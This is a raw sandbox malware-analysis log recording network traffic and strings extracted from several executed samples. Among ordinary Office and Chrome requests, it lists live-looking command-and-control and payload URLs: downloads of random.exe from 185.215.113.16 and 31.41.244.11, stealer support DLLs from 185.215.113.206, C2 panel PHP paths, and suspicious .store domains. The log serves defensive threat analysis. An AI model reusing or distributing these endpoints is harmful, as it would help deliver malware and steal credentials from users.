Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /OuonWYxAVjorkgXdRtho1731126585 HTTP/1.1Host: home.fvteja5sb.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sun, 10 Nov 2024 18:23:07 GMTIf-None-Match: "6730fa0b-1b5a00"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: home.fvteja5sb.top
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: founpiuer.store
Source: global traffic	DNS traffic detected: DNS query: navygenerayk.store
Source: global traffic	DNS traffic detected: DNS query: fvteja5sb.top

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 904sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/=1O
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2039853324.0000000000F16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe:J&
Source: e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeC
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: e41fd24755.exe, 0000000E.00000002.2932440108.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeX
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeu
Source: e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/~1
Source: d357e68128.exe, 0000000F.00000002.2722879567.0000000000BAE000.00000004.00000020.00020000.00000000.sdmp, d357e68128.exe, 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2039853324.0000000000F16000.00000004.00000020.00020000.00000000.sdmp, d357e68128.exe, 0000000F.00000002.2722879567.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, d357e68128.exe, 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp, d357e68128.exe, 00000012.00000002.2906261210.000000000196C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllz
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2039853324.0000000000F16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2039853324.0000000000F16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll%A
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2039853324.0000000000F16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllXF
Source: file.exe, 00000000.00000002.2039853324.0000000000F16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/E=_
Source: d357e68128.exe, 0000000F.00000002.2722879567.0000000000BAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/O
Source: d357e68128.exe, 0000000F.00000002.2722879567.0000000000BF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/RRC:
Source: d357e68128.exe, 00000012.00000002.2906261210.000000000196C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: d357e68128.exe, 0000000F.00000002.2722879567.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php89
Source: d357e68128.exe, 00000012.00000002.2906261210.000000000196C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpC$
Source: d357e68128.exe, 00000012.00000002.2906261210.000000000196C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpL$
Source: file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2067174979.00000000233F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgt
Source: d357e68128.exe, 0000000F.00000002.2722879567.0000000000BF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpj
Source: file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phprowser
Source: d357e68128.exe, 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/d
Source: d357e68128.exe, 0000000F.00000002.2722879567.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/mf
Source: d357e68128.exe, 0000000F.00000002.2722879567.0000000000C09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ocal
Source: d357e68128.exe, 00000012.00000002.2906261210.000000000196C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/r$T
Source: d357e68128.exe, 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2068
Source: file.exe, 00000000.00000002.2038805274.0000000000437000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: d357e68128.exe, 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206p
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000002.2930926054.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php5363001
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpW
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpn
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/a
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/es
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062coded#4
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exes6
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: e41fd24755.exe, 0000000E.00000003.2665286058.00000000057FE000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2811419605.0000000005297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
